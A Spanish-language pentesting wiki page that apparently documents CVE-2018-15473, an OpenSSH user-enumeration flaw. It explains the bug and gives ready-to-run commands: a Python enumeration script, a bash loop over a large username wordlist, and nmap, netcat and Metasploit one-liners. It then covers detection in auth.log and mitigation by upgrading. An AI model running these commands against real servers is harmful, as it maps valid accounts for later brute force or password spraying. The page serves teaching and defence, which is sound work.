the_open_door
café
ESEN
← Volver al índice

SSH user enumeration (CVE-2018-15473)

ATT&CKT1087
Arsenal completo de comandos en la cheatsheet

CVE-2018-15473 es una fuga de información en OpenSSH anterior a la 7.7 que permite distinguir usuarios válidos de inválidos sin autenticarse. El fallo está en cómo el servidor procesa un paquete de autenticación malformado: si el usuario no existe, OpenSSH lo rechaza pronto; si existe, sigue el flujo y llega a verificar la firma, lo que tarda algo más o responde de forma distinta. Esa diferencia (de tiempo o de respuesta) revela la cuenta.

El script público típico envía una petición SSH2_MSG_USERAUTH_REQUEST con un paquete de clave pública deliberadamente corrupto y observa la reacción:

python2 ssh_user_enum.py <ip> root      # [+] root is a valid username
python2 ssh_user_enum.py <ip> noexiste  # [-] noexiste is an invalid username

Para recorrer un diccionario conviene envolverlo en un bucle (paralelizando, porque cada comprobación es lenta) y filtrar por la respuesta de éxito:

while read -r u; do
  python2 ssh_user_enum.py <ip> "$u" 2>/dev/null | grep -q valid && echo "[+] $u"
done < /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

Alternativas con nmap y Metasploit, y comprobación del banner:

nc <ip> 22                              # leer el banner (OpenSSH <7.7 = vulnerable)
nmap -p22 --script ssh-auth-methods --script-args ssh.user=root <ip>
msfconsole -q -x "use scanner/ssh/ssh_enumusers; set RHOSTS <ip>; set USER_FILE users.txt; run; exit"

Por qué importa. Igual que la enumeración por SMTP o la enumeración de usuarios web, confirmar cuentas reales acota una fuerza bruta o un spray de contraseñas posterior, y da nombres para probar reutilización de credenciales. Es enumeración pura: dice qué cuentas existen, no entrega acceso por sí sola.

Cómo detectarlo. El barrido genera en /var/log/auth.log una avalancha de conexiones que abren la autenticación por clave pública y la abandonan sin completarla, a menudo con líneas del tipo Connection closed by <ip> [preauth] desde una sola IP y para muchos usuarios distintos en poco tiempo. No hay logins con éxito, solo intentos preauth: ese es el patrón. Una regla de fail2ban sobre [preauth] repetidos, o un contador de conexiones SSH fallidas por origen, lo caza. En red, un pico de sesiones al puerto 22 que no llegan a autenticar delata el ssh_user_enum. La clave, como en toda enumeración, es el volumen por origen.

Defensa. Actualizar OpenSSH a 7.7 o superior (donde el flujo se uniformó). El indicio inmediato del fallo es la propia versión en el banner (OpenSSH 3.8, 4.6, etc.), así que mantener el servicio al día es la mitigación directa.

Máquinas donde se aplica